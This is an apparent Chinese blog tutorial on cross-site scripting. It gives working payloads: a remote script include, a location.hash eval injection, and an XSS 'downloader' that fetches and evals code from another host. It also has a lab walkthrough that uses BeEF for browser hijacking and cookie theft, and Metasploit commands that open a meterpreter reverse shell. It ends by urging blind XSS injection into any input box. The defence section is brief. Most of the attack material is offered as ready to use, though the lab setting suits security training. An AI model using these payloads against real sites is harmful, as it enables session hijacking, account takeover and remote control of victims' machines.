051 xss跨站脚本攻击二

一:ShellCode

1.1:简述

shellcode就是在利用漏洞所执行的代码。
完整的XSS攻击,会将shellcode存放在一定的地方,然后触发漏洞并调用shellcode

1.2:调用shellcode的四种方式

1.2.1:远程调用JS

可以将JS代码单独存放在一个js文件中,然后通过http协议远程加载该脚本。
如:
<script src="http://172.16.132.138/XSS-TEST/normal/xss.js"></script>,这是比较常用的方式。
xss.js内容如下:alert('xss.js');
 

1.2.2:windows.location.hash

我们也可以使用js中的windows.location.hash方法获取浏览器url地址的xss代码。

windows.location.hash会获取url中#后面的内容,例如:http://domain.com/index.php#Tom,那么,windows.location.hash的值就是#Tom

所以我们可以构造如下代码:
?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/This is windows.location.hash/)
直接提交到测试页面xss.php
 

1.2.3:xss Downloader

xss下载器就是将xss代码写到网页中,然后通过ajax技术,获取网页中的xss代码。

那么什么是ajax技术?
Ajax即Asynchronous Javascript And XML(异步JavaScript和XML)在 2005年被Jesse James Garrett提出的新术语,用来描述一种使用现有技术集合的‘新’方法,包括: HTML 或 XHTML, CSS, JavaScript, DOM, XML, XSLT, 以及最重要的XMLHttpRequest。使用Ajax技术网页应用能够快速地将增量更新呈现在用户界面上,而不需要重载(刷新)整个页面,这使得程序能够更快地回应用户的操作。

在使用xss downloader之前需要一个我们自己的网页,xss_downloader.php内容如下:
~~~~~BOF|alert(/xss/)|EOF~~~~~~~~~ 这里的波浪线代表前后都有很多的html代码,被其包裹

常见的下载器如下:

<script>
	function XSS(){
		if (window.XMLHttpRequest){
			a = new XMLHttpRequest();
		}else if (window.ActiveXObject){
			a = new ActiveXObject("Microsoft.XMLHTTP");
		}else {
			return;
		}
	a.open('get','http://172.16.132.161/XSS-TEST/normal/xss_downloader.php' ,false);
	a.send();
	b=a.responseText;
	eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));
	}
XSS();
</script>

AJAX技术会受到浏览器同源策略的限制,为了解决这个问题,我们需要在服务端代码中添加额外的内容:
在xss_downloader.php文件中加入以下代码:

<?php
	header('Access-Control-Allow-Origin: *');
	header('Access-Control-Allow-Headers:Origin, X-Requested-With, Content-Type, Accept');
?>
~~~~BOF|alert(/xss/)|EOF~~~~~~~~~~~~

这两行header代码作用:实现跨域访问。比如url地址栏一个是IP地址(127.0.0.1的形式),一个是localhost
 

1.2.4:备选存储技术

我们可以把Shellcode存储在客户端的本地域中,比如HTTP Cookie Flash共享对象,UserData,localStorage等。
我们以http cookie为例子。
点击cookie-xss 验证。
 
 

二:XSS的防御

2.1:使用XSS Filter

xss filter的作用是过滤用户(客户端)提交的有害信息,从而达到防范xss攻击的效果。

输入过滤

“永远不要相信用户的输入”是网站开发的基本常识,对于用户输入一定要过滤,过滤,再过滤。

输入验证

简单的说,输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当格式的内容提交,阻止或忽略除此之外的其他任何数据。
输入是否仅包含合法的字符
输入字符串是否超过最大长度限制
输入如果为数字,数字是否在指定的范围
输入是否符合特殊的格式要求,如E-mail地址,ip地址等。

数据消毒

过滤和净化掉有害的输入

输出编码

html编码主要是用对应的html实体代替字符。

黑白名单

不管是采用输入过滤还是输出编码,都是针对数据信息进行黑/白名单式的过滤。
黑名单,非允许数据
白名单,允许的数据

 

2.2:防御DOM-XSS

避免客户端文档重写、重定向或其他敏感操作。
 
 

三:XSS实战实验

3.1:beef简介

xss神器,xss漏洞的利用平台

3.2:beef的简单准备

kali启动
所在目录:/usr/share/beef-xss
配置文件:config.yaml
启动工具的两种方法:

cd /usr/share/beef-xss
./beef
beff-xss

在这里插入图片描述
启动时发现报错
在这里插入图片描述

在初次使用时,需要在配置文件修改默认的账号密码才能使用
在这里插入图片描述
保存退出
然后运行命令:beef-xss
在这里插入图片描述
开启成功之后,kali系统会自动在kali中打开浏览器,并访问http://127.0.0.1:3000/ui/authentication
登录界面。(我的是2021版本的,不同版本有可能地址不一样)

在这里插入图片描述
或者自己在真实机浏览器上输入kaliIP + /ui/authentication
我这里有个问题,我估计是bug
就是当你在页面输入了正确的账号密码的时候,也会提示你无效的账号或密码,显示登录不成功,如下图:
在这里插入图片描述
其实是登录成功的,这时候我们把url地址变更下:http://10.157.12.220:3000/ui/panel
直接回车就可以进入了。如下图:
在这里插入图片描述
好坑啊这里,也百度不到这里为什么,自己试了好久,才发现的,也不知道为啥,若有大佬知道,烦请评论告诉下。
 
并且后续实验也没法做,上线机器也没有显示。
 
晚上我回到宿舍,用自己的笔记本试了下这个实验,发现很顺利
步骤:

1:先安装beef-xss(自己电脑的这个kali版本没有预装)
	命令:apt-get install beef-xss
2:修改配置文件
	cd /etc/share/beef-xss
	cp config.yaml config.yaml_bak			先备份好配置文件
	vim config.yaml
		把初始密码改成123456
3:beef-xss 启动。然后自动在kali虚拟机上的火狐浏览器打开了登录界面,输入beef/123456直接登录成功

在这里插入图片描述
这里有三个网址,了解下:

beef的web界面管理控制台
	http://127.0.0.1:3000/ui/panel
	新版本的kali:http://127.0.0.1:3000/ui/authentication
shellcode
	http://127.0.0.1:3000/hook.js
测试页面
	http://127.0.0.1:3000/demos/butcher/index.html

3.3:浏览器劫持

接下来就是浏览器劫持的演示。上面已完成在kali虚拟机登录成功。
现在我们回到真实物理机上,打开浏览器。
输入http://192.168.152.130:3000/demos/butcher/index.html 这个192.168.152.130地址是kali虚拟机的IP地址。
在这里插入图片描述
我们回到kali上:
在这里插入图片描述
发了有了上线的主机。
点击主机可以看到很多信息
在这里插入图片描述
选中commands,发现有很多可以操作的命令,并且前面还有很多不同颜色的小原点。
在这里插入图片描述
那不同的圆点分别代表什么意思呢?
其实在登录之后的主页早有说明:
在这里插入图片描述

翻译版本:
在这里插入图片描述
所谓的浏览器劫持,我们可以采用网页重定向的方法来实现,也就是我们只要把这网页强行重定向了,也就算是劫持了这个浏览器网页了。
在这里插入图片描述
输入重定向网站,点击Execute
然后在真实物理机浏览器上输入http://192.168.152.130:3000/demos/butcher/index.html
直接自动跳转到百度在这里插入图片描述
 
 

3.4:Cookie窃取与欺骗——固定会话攻击

刚出了点意外。
现在重新准备了环境。
kali虚拟机:IP地址:10.1.1.1
win7:IP地址:10.1.1.2
win2008r2 IP地址:10.1.1.253,仅作DHCP服务器用。可有可无,与本实验无关

先进入win7,进入cms的留言板块,进行留言
请添加图片描述
然后登录后台管理,查看留言。
请添加图片描述
然后我们回到kali虚拟机,选择get cookie,然后点击右下角的execute按钮。
请添加图片描述
然后就能看到cookie值。
然后再kali的浏览器上输入以下代码。
请添加图片描述
回车之后,然后再浏览器地址栏输入以下路径。
请添加图片描述
便能不需要账号密码,直接登录到后台。
请添加图片描述
 
 

3.5:利用浏览器漏洞getshell

启动工具msf
msfconsole
use exploit/windows/browser/ms10_002_aurora			win7系统可以用ms12063浏览器漏洞
set payload windows/meterpreter/reverse_tcp
set SRVHOST 172.16.132.128
set LHOST 172.16.132.128
exploit
sessions -i  			查看会话
sessions -i 1			切到会话1
getuid					
shell					进入目标主机的shell,这个shell起作用的前提是,目标机浏览器对应的那个窗口不能关闭。
退出这个shell,用ps命令查看进程,切换到另外的进程里面
migrate 1532

 

3.6:xss平台

XSS盲打,见到输入框就把XSS代码插进去

盲打平台网址:xsspt.com

  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值